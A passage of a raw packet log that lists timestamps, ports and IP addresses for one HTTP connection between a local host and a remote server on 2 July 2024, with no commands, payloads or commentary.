Jul 2, 2024 15:26:15.469352961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.469366074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.469373941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.469381094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.469394922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.469403028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.469424963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.469455004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.470189095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.470201969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.470241070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.488918066 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.488980055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.489017010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.489028931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.489057064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.489068031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.489269018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.489284992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.489300966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.489310980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.489325047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.489360094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.489746094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.489759922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.489773035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.489789963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.489794016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.489820004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.489844084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.490220070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.490231991 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.490251064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.490287066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.490310907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.520073891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520137072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.520157099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520169973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520210981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.520411968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520448923 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.520540953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520551920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520570993 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520586967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.520601988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.520890951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520903111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520920038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520932913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520948887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.520950079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.520977020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.520992994 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.521476984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.521488905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.521531105 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.521699905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.521708965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.521729946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.521748066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.521775007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.521936893 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.521987915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.522001982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.522017002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.522037983 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.522041082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.522053003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.522057056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.522069931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.522079945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.522097111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.522110939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.549308062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.549319983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.549339056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.549370050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.549395084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.549465895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.549479008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.549496889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.549509048 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.549506903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.549530029 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.549550056 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.549998999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.550012112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.550030947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.550040007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.550054073 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.550086975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.550378084 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.550391912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.550410032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.550417900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.550436020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.550477028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.555521011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.555577040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.555587053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.555610895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.555623055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.555656910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.555835009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.555855989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.555876970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.555886030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.555898905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.555911064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.555921078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.555946112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.555972099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.556248903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.556302071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.556379080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.556405067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.556416035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.556437969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.556596994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.556623936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.556647062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.556652069 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.556668043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.556670904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.556691885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.556723118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.557051897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557075024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557101965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557104111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.557121992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.557122946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557138920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.557146072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557157040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.557179928 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.557531118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557542086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557586908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557598114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.557609081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557621956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557634115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.557641983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557651997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.557657003 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.557759047 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.558604956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.558619976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.558636904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.558648109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.558654070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.558665037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.558676004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.558681011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.558700085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.558712006 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.558712006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.558732986 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.558762074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.559556961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.559568882 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.559586048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.559598923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.559608936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.559614897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.559626102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.559633017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.559645891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.559658051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.559664011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.559674978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.559705019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.560565948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.560581923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.560595036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.560607910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.560614109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.560626984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.560631990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.560648918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.560653925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.560663939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.560674906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.560779095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.561520100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.561536074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.561551094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.561562061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.561580896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.561584949 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.561597109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.561615944 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.561619043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.561630964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.561641932 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.561660051 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.561685085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.562438011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.562450886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.562468052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.562483072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.562494040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.562498093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.562531948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.581557035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.581614971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.581634045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.581649065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.581667900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.581695080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.581872940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.581883907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.581908941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.581918001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.581927061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.581933975 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.581957102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.581969023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.582283020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.582336903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.582401037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.582411051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.582449913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.582861900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.582871914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.582889080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.582897902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.582910061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.582926035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.582940102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.582942009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.582987070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.612744093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.612770081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.612780094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.612811089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.612833977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.612998009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613010883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613027096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613043070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613049030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.613085985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.613414049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613425970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613471031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.613647938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613667965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613679886 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613694906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613706112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.613706112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613722086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.613725901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.613744020 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.613761902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.614233017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.614243984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.614263058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.614274025 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.614286900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.614291906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.614331961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.614758015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.614772081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.614819050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.641597033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.641654968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.641668081 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.641676903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.641704082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.641717911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.641841888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.641851902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.641896009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.642055035 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.642066956 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.642117023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.642194986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.642241001 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.642380953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.642391920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.642407894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.642417908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.642431021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.642435074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.642443895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.642458916 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.642468929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.642486095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.642510891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.643049955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.643106937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.648138046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.648191929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.648226023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.648236990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.648271084 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.648432016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.648473978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.648498058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.648509979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.648526907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.648536921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.648538113 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.648550034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.648576021 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.648866892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.648921013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.648988008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649008989 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649028063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.649060965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.649245977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649256945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649274111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649287939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649298906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.649319887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.649336100 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.649758101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649768114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649782896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649801016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649811029 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649813890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.649827957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649842978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 2, 2024 15:26:15.649843931 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 2, 2024 15:26:15.649854898 CEST	80	49731	77.91.77.81	192.168.2.4
